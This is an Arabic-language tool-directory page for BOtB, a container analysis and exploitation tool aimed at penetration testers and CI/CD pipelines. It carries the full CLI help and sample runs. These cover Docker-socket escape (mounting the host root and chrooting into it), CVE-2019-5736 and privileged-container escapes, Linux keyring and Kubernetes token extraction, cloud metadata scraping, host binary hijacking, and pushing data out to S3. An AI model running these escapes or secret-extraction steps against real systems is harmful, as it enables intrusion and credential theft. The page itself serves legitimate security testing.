Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
botb — أداة تحليل واستغلال للحاويات لمختبرّي الاختراق والمهندسين. | Kitploit
أدوات/GitHubGitHub/brompwnie/botb
أمن الحاوياتتحليل الثغرات الأمنيةالاستغلالما بعد الاستغلالاختبار الاختراقأمن السحابةالهروب من الحاوية
GitHubbrompwnie/botb

botb

أداة تحليل واستغلال للحاويات لمختبرّي الاختراق والمهندسين.

عرض المستودع
6845646منذ 4 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Github All Releases

Break out the Box (BOtB)

BOtB هي أداة تحليل واستغلال للحاويات مصممة لاستخدامها من قبل مختبرين الاختراق والمهندسين، كما أنها متوافقة مع تقنيات CI/CD الشائعة.

ماذا تفعل؟

BOtB هي أداة CLI تتيح لك:

  • استغلال الثغرات الشائعة في الحاويات
  • تنفيذ إجراءات ما بعد الاستغلال الشائعة في الحاويات
  • توفير إمكانيات عندما تكون بعض الأدوات أو الملفات الثنائية غير متوفرة في الحاوية
  • استخدام قدرات BOtB مع تقنيات CI/CD لاختبار نشر الحاويات
  • تنفيذ ما سبق بطريقة يدوية أو آلية

القدرات الحالية

  • تنفيذ هروب من الحاوية عبر خوادم Docker المكشوفة (docker.sock)
  • تنفيذ هروب من الحاوية عبر CVE-2019-5736
  • تنفيذ هروب من حاوية مميزة (privileged) عبر تمكين CAPS و SYSCALLS
  • استخراج البيانات من حلقات مفاتيح Linux kernel (Keyrings) عبر إساءة استخدام استدعاء Keyctl من خلال ملفات تعريف seccomp المتساهلة
  • تحديد أسرار حسابات خدمة Kubernetes ومحاولة استخدامها
  • تحديد نقاط نهاية خدمات البيانات الوصفية مثل http://169.254.169.254 و http://metadata.google.internal/ و http://100.100.100.200/
  • استخراج معلومات البيانات الوصفية من نقاط نهاية GCP
  • تحليل وتحديد السلاسل الحساسة في متغيرات البيئة والعمليات في ProcFS مثل /Proc/{pid}/Environ
  • العثور على مآخذ UNIX domain وتحديدها
  • تحديد مآخذ UNIX domain التي تدعم HTTP
  • العثور على خادم Docker (Docker Daemon) على مآخذ UNIX domain أو على واجهة
  • اختطاف الملفات الثنائية للمضيف بحمولة مخصصة
  • تنفيذ الإجراءات في وضع CI/CD وإرجاع رموز الخروج > 0 فقط
  • دفع البيانات إلى دلو S3
  • إجبار BOtB على إرجاع رمز خروج 0 دائمًا (مفيد لـ CI/CD غير المعطّل)
  • تنفيذ ما سبق من وسيطات CLI أو من ملف تكوين YAML
  • تنفيذ بحث عكسي عن DNS

التثبيت

الملفات الثنائية

لتعليمات التثبيت من الملفات الثنائية، يرجى زيارة صفحة الإصدارات.

عبر Go

go get github.com/brompwnie/botb

البناء من المصدر

بناء BOtB عبر Go:

go build

بناء BOtB عبر Make:

make

الاستخدام

يمكن تجميع BOtB في ملف ثنائي للنظام المستهدف ويدعم الاستخدام التالي:

./botb-linux-amd64 -h
-aggr string
        Attempt to exploit RuncPWN (default "nil")
  -always-succeed
        Always set BOtB's Exit code to Zero
  -autopwn
        Attempt to autopwn exposed sockets
  -cicd
        Attempt to autopwn but don't drop to TTY,return exit code 1 if successful else 0
  -config string
        Load config from provided yaml file (default "nil")
  -endpoints string
        Provide a textfile with endpoints to use for test (default "nil")
  -find-docker
        Attempt to find Dockerd
  -find-http
        Hunt for Available UNIX Domain Sockets with HTTP
  -find-sockets
        Hunt for Available UNIX Domain Sockets
  -hijack string
        Attempt to hijack binaries on host (default "nil")
  -k8secrets
        Identify and Verify K8's Secrets
  -keyMax int
         Maximum key id range (default 100000000) and max system value is 999999999 (default 100000000)
  -keyMin int
         Minimum key id range (default 1) (default 1)
  -metadata
        Attempt to find metadata services
  -path string
        Path to Start Scanning for UNIX Domain Sockets (default "/")
  -pwn-privileged string
        Provide a command payload to try exploit --privilege CGROUP release_agent's (default "nil")
  -pwnKeyctl
        Abuse keyctl syscalls and extract data from Linux Kernel keyrings
  -recon
        Perform Recon of the Container ENV
  -region string
        Provide a AWS Region e.g eu-west-2 (default "nil")
  -rev-dns string
        Perform reverse DNS lookups on a subnet. Parameter must be in CIDR notation, e.g., -rev-dns 192.168.0.0/24 (default "nil")
  -s3bucket string
        Provide a bucket name for S3 Push (default "nil")
  -s3push string
        Push a file to S3 e.g Full command to push to https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME would be: -region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME (default "nil")
  -scrape-gcp
        Attempt to scrape the GCP metadata service
  -verbose
        Verbose output
  -wordlist string
        Provide a wordlist (default "nil")

يمكن أيضًا توجيه BOtB لتحميل الإعدادات من ملف YAML عبر معلمة config:

#./botb-linux-amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
...

ستعيد أمثلة الاستخدام التالية رمز خروج > 0 افتراضيًا عند اكتشاف حالة شاذة، كما هو موضح بواسطة "echo $?" الذي يعرض رمز الخروج لآخر أمر تم تنفيذه.

تحديد واستخراج أسرار حلقات مفاتيح Linux kernel غير المحمية بشكل صحيح

مزيد من المعلومات من المؤلف الأصلي هنا https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/

#./botb-linux-amd64 -pwnKeyctl=true -keyMin=0 -keyMax=100000000
[+] Break Out The Box
[*] Attempting to Identify and Extract Keyring Values
[!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe
[!] Subkey description for key [251133632]: user;0;0;3f010000;brompwnie_secret
[!] Output {
 "KeyId": 13738777,
 "Valid": true,
 "Name": "_ses.e326b8816c24d0ddda6c2c82ecf62ea2302a7239fce2fd104775d154a97fa3d6",
 "Type": "keyring",
 "Uid": "0",
 "Gid": "0",
 "Perms": "3f1b0000",
 "String_Content": "\ufffd\ufffd\ufffd\u000e",
 "Byte_Content": "wP73Dg==",
 "Comments": null,
 "Subkeys": [
  {
   "KeyId": 251133632,
   "Valid": true,
   "Name": "brompwnie_secret",
   "Type": "user",
   "Uid": "0",
   "Gid": "0",
   "Perms": "3f010000",
   "String_Content": "thetruthisialsoreallyliketrees",
   "Byte_Content": "dGhldHJ1dGhpc2lhbHNvcmVhbGx5bGlrZXRyZWVz",
   "Comments": null,
   "Subkeys": null,
   "Output": ""
  }
 ],
 "Output": ""
}
[+] Finished

تحديد والتحقق من أسرار حسابات خدمة Kubernetes المثبتة

#./botb-linux-amd64 -k8secrets=true
[+] Break Out The Box
[*] Identifying and Verifying K8's Secrets
[!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token
[!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[+] Finished

الهروب من الحاوية عبر خادم Docker المكشوف

سيؤدي هذا الأسلوب إلى الهروب إلى TTY تفاعلي على المضيف.

#./bob_linux_amd64 -autopwn=true    
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /var/meh
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
./docker/docker -H unix:///var/meh run -t -i -v /:/host alpine:latest /bin/sh
chroot /host && clear
echo 'You are now on the underlying host'
You are now on the underlying host
/ # 

الهروب من حاوية بطريقة متوافقة مع CI/CD

لا يهرب هذا الأسلوب إلى TTY على المضيف بل يعيد رمز خروج > 0 للإشارة إلى نجاح الهروب من الحاوية.

#./bob_linux_amd64 -autopwn=true -cicd=true
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /var/meh
[+] Attempting to escape to host...
[!] Successfully escaped container
[+] Finished

#echo $?
1
تنزيل الأداة